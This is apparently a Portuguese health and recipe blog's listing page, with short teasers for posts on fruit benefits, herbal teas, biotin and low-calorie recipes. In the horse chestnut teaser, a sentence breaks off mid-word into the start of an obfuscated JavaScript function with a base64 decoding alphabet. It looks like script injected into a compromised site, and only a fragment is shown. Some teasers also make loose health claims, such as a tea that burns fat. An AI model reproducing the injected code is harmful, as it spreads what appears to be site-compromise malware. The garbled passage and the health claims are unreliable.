Receita de bolo de iogurte e banana com nozes

Out 14, 2017 | Receitas

Receita de bolo de iogurte e banana com nozes     Hoje trago-lhe uma receita deliciosa e muito saudável para os dias em que tem vontade de comer bolos. A boa notícia é essa mesma: graças aos ingredientes saudáveis, este bolo é uma óptima opção. É verdade, pode ser uma...

10 Benefícios da acerola para a nossa saúde

Set 28, 2017 | Saúde e bem estar

10 Benefícios da acerola para a nossa saúde     Hoje venho falar-lhe de um fruto tropical de sabor ácido e ao mesmo tempo adocicado de cor vermelha. É muito rico em vitamina C, antioxidantes e minerais.  Já o conhece? Saiba que a acerola é originária da América de Sul...

Dicas saudáveis – benefícios da castanha da Índia

Set 19, 2017 | Saúde e bem estar

Dicas saudáveis – benefícios da castanha da Índia     O castanheiro da Índia é uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

8 Benefícios do chá de cavalinha para o nosso organismo

Set 12, 2017 | Saúde e bem estar

8 Benefícios do chá de cavalinha para o nosso organismo     A cavalinha é uma planta medicinal conhecida por, entre outras utilidades, emagrecer, já que ajuda a desinchar e queimar gorduras. Das suas propriedades, destacam-se as funções adstringentes, diurética,...

8 benefícios do ananás para a nossa saúde

Ago 31, 2017 | Saúde e bem estar

8 benefícios do ananás para a nossa saúde     Hoje venho falar-lhe de um fruto fantástico e extremamente rico em nutrientes para o nosso organismo: o ananás. Este fruto cítrico é rico em vitaminas e minerais essenciais: Vitamina A, Vitamina B, Vitamina C, Zinco,...

Salada de rabanete e pepino – Uma refeição pouco calórica

Ago 28, 2017 | Receitas

 Salada de rabanete e pepino – Uma refeição pouco calórica   Sabia que a cenoura e o pepino são dos alimentos com menos calorias que existem? É verdade! E a pensar nisso hoje trago-lhe uma refeição completa mas com muito pouco calorias. É rica em vitaminas,...

Dicas saudáveis – 8 Benefícios da Biotina para o organismo

Ago 22, 2017 | Saúde e bem estar

Dicas saudáveis – 8 Benefícios da Biotina para o organismo     Hoje falo-lhe da biotina, também conhecida como vitamina B7. Esta vitamina pertence ao complexo B e é essencial para a nossa pele. A biotina é muito reconhecida graças aos seus inúmeros efeitos...

Receita de sumo para perder peso

Ago 9, 2017 | Receitas

Receita de sumo para perder peso     O verão é aquela altura que todas queremos estar bonitas para a praia. E claro que não queremos ver uns quilinhos a mais a sair do fato de banho. Para isso não acontecer, hoje mostro-lhe uma receita que irá ajudá-la a perder peso...

Arroz integral de lentilhas salteado com legumes para 4 pessoas

Ago 8, 2017 | Receitas

Arroz integral de lentilhas salteado com legumes para 4 pessoas Hoje trago-lhe mais uma receita saudável e deliciosa: arroz integral de lentilhas salteado com legumes. O arroz integral é uma óptima fonte de fibra que melhora o bom funcionamento do nosso sistema...

Bolo de cereja na caneca – Uma sobremesa irresistível

Ago 1, 2017 | Receitas

Bolo de cereja na caneca: Uma sobremesa irresistível     Adoro bolos de caneca! São rápidos, práticos e muito simples de fazer! Como sei que aí em casa também gostam, hoje trago-lhes a receita de bolo de cereja na caneca, uma verdadeira sobremesa sem culpa. Sem...